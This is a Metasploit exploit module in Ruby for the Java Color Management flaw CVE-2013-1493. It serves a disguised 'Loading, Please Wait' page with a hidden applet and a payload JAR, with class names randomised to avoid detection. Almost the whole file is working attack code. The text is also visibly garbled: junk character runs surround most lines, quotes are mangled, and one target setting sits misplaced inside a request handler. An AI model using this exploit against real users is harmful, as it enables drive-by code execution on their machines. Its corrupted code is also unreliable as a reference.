##
1 C: U. M0 p0 w; ?" @' x" x7 n/ b
# This file is part of the Metasploit Framework and may be subject to
" e/ p7 C2 h; h) x+ K# redistribution and commercial restrictions. Please see the Metasploit, E2 w% E y& F* l2 e4 L
# web site for more information on licensing and terms of use.4 U m; C6 p6 q4 v* B' ?; p+ |
# http://metasploit.com/9 C+ x) a5 u3 S. Q' p
##
9 @8 x$ z0 R& yrequire ‘msf/core’
3 a( l- X4 { e0 Y, P$ vrequire ‘rex’; |* K) c$ \3 r
class Metasploit3 < Msf::Exploit::Remote# M3 ]0 ?% T, K3 ~% z% \* E- B
Rank = NormalRanking
+ P2 F* H+ F einclude Msf::Exploit::Remote::HttpServer::HTML
. t" f3 m- T* ~, Q, qinclude Msf::Exploit::EXE
9 W; B1 L4 U. C& H1 f& |' rinclude Msf::Exploit::Remote::BrowserAutopwn
/ a. R3 e' x8 W. Z# c Zautopwn_info({ :javascript => false })7 O5 w9 ^" O) G3 F" v; o7 Z1 l
def initialize( info = {} )
- \! b% `, c4 |- c& \ Qsuper( update_info( info,
$ _9 b; F7 u. Z6 k! p+ s n: T3 ]‘Name’ => ‘Java CMM Remote Code Execution’,7 A7 ?$ N1 q) R
‘Description’ => %q{, j( v2 ^5 u( `8 O0 h
This module abuses the Color Management classes from a Java Applet to run
, [" {, d; Y+ \; warbitrary Java code outside of the sandbox as exploited in the wild in February; B3 {' {8 t5 e* t: t
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41' \9 p8 V/ R' }2 Q
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
; y4 ]4 k2 e# C r% U% [ Msystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
. |( y" G" ~5 y r/ K" Uwarning in order to run the malicious applet.7 ~! i, n$ |# Z" z
},
$ R% h2 j$ P; X$ l4 [‘License’ => MSF_LICENSE,+ ?% ~& S; [/ L: s; B0 m
‘Author’ =>9 x1 O9 h3 Y( b% R& _! x; h
'Unknown', # Vulnerability discovery and Exploit
1 |4 J p8 v% f2 G1 A* X- u'juan vazquez' # Metasploit module (just ported the published exploit), q5 s6 I5 d" L$ p/ x% x( d
],$ O9 J; z, J# }* ~
‘References’ =>: G% q. u. G5 |! O8 Y
[
" |6 ~$ X, A% q[ 'CVE', '2013-1493' ],: o+ [$ n3 e# R$ F* S' P
[ 'OSVDB', '90737' ],
1 F# T. p- J" F" |: m[ 'BID', '58238' ],$ I& p+ n0 q a
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
! @# l0 `2 W( I0 ]6 V[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],) x! P# q" u, f( g7 x0 q9 Z
[ 'URL', 'http://pastie.org/pastes/6581034' ]
" ]; J% g5 c; Z) ^9 A! B],. L) F& `3 g( t( w
‘Platform’ => [ 'win', 'java' ],/ x& @9 M3 ]( b+ O! a
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },7 _ B9 T0 M! V0 {8 `
‘Targets’ =>
& F# Z* W% ~% L: T5 M( G' k[
0 |* i Z% r" \4 W. ]' c[ 'Generic (Java Payload)',
) I7 z0 J5 H, x8 }" m- ]' @{
' o4 \. B3 W j& @4 o1 i' i'Platform' => 'java',
/ `! Y/ s. n; i/ Z0 g( j% p: I'Arch' => ARCH_JAVA" k3 n) z# _ ~! r1 e* A7 p
}
' X- z7 R0 G/ F# F3 D; m0 a/ g! Q, g],, Z& y' c* H0 R0 V3 _8 `
[ 'Windows x86 (Native Payload)',
% `- D% Q: [3 L" e8 q{
1 e* r& O9 F t$ _+ ?- i4 t'Platform' => 'win',
' G/ j6 e" l) N! M7 d'Arch' => ARCH_X863 V2 L2 L2 v5 d! M
}
4 y2 t- L" B9 X( q8 Q# t' l]. F& f; _) r, |# k& ^
],# G4 T- ]8 p8 o4 p
‘‘DisclosureDate’ => ‘Mar 01 2013′
9 J2 R) p5 E, s))
. b: c9 u- I$ d. H- ]end8 c, n$ T; h* `1 l2 c- r9 a
def setup6 l ]; f9 P4 @7 c
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
: ]7 P9 t8 d& t9 X5 v( O@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
3 H" ?) O) O: y/ V, W0 Epath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)5 W5 Z( u S- t' G, S8 I
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }; ~6 M- a/ T9 a
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)4 f! q' u9 ?. n: |$ L% R
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
/ C, [" k% u$ l4 H1 O0 v% |. Vpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)5 K5 r7 T" a2 [$ f$ E
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }! r6 e) W# E" |- F2 x1 L% t
@init_class_name = rand_text_alpha(“Init”.length)
' ?9 _$ h0 l% g# W1 {6 _@init_class.gsub!(“Init”, @init_class_name)* _* c A6 h5 C# y2 y+ L
super
5 M$ b+ P: @- M+ I6 t1 Gend
, Y: G# e T Q2 L" @8 F$ Cdef on_request_uri(cli, request)& v4 _$ G2 }1 X1 O+ p' g, z
print_status(“handling request for #{request.uri}”)
0 V0 _% I8 Z" N, Y3 e5 Gcase request.uri
8 _# N! ]: n, V! x- Vwhen /\.jar$/i
+ M- D7 A9 r( p& Y' O% Tjar = payload.encoded_jar
* R( a' ?4 i1 T! @jar.add_file(“#{@init_class_name}.class”, @init_class)" O# U( z" W1 N( ^
jar.add_file(“Leak.class”, @leak_class)
$ b2 D5 B; l. G% Qjar.add_file(“MyBufferedImage.class”, @buffered_image_class)3 L& |- Z" x z1 W2 [, u
jar.add_file(“MyColorSpace.class”, @color_space_class)6 `/ n# W) s6 m' Z
DefaultTarget’ => 1,6 j$ b6 j- R/ w* x% i7 ^+ N( ^
metasploit_str = rand_text_alpha(“metasploit”.length)- e2 X+ S: K; z, D' M+ d
payload_str = rand_text_alpha(“payload”.length)% `5 |: ]1 p, f0 T" P$ W
jar.entries.each { |entry|0 B: L: ~$ Z, i/ F0 v1 l# A
entry.name.gsub!(“metasploit”, metasploit_str)- \( b& s" Y8 a9 j, e7 P# [5 N* w
entry.name.gsub!(“Payload”, payload_str)
+ W% [( ~4 o9 ?7 Xentry.data = entry.data.gsub(“metasploit”, metasploit_str)
- ^9 M8 x0 L8 u" P$ d. G4 a9 Qentry.data = entry.data.gsub(“Payload”, payload_str)
# h& Q& O9 O1 Z7 X% \}
% B. H* \1 E: rjar.build_manifest( b' M/ l L( c& P3 h& \( \
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
" r& g$ ^) h' B7 a2 ~3 Vwhen /\/$/7 W) P5 c/ p6 l/ d" Q0 g/ K0 I6 ^
payload = regenerate_payload(cli)
4 p B( G4 R0 u! mif not payload
6 v& @6 Y( v# j0 f9 q; U6 vprint_error(“Failed to generate the payload.”)
# B3 y8 {5 a: b: k# Nsend_not_found(cli)
& S. C4 P6 x0 qreturn
8 a% @( R6 S: u; jend9 D T8 j4 |# h+ W
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
/ F0 Q2 p* q8 I6 Welse
7 b/ R- A, G+ ?1 m0 K( vsend_redirect(cli, get_resource() + ‘/’, ”)9 u5 r7 \$ B5 w* O$ L5 P. i% O* i
end" ?- _2 v+ @+ ]1 {% v2 ~2 m& {
end3 u' V: ~/ {7 N6 J
def generate_html& }' E7 ?" _0 G0 {
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|' t9 G% y% c) H3 K0 h
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|; C1 I& {- `3 t8 b
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|/ k* s6 ]0 k. D! B6 \/ D8 s6 m
html += %Q|</applet></body></html>|
1 f% Z1 p+ I) K3 x3 |return html( F5 h! `- f2 r( X+ A$ K0 I2 C
end4 Y5 h6 M% |" X8 V: ]6 L
end9 [1 H/ a3 A6 c
end; {. g6 @/ K' m
|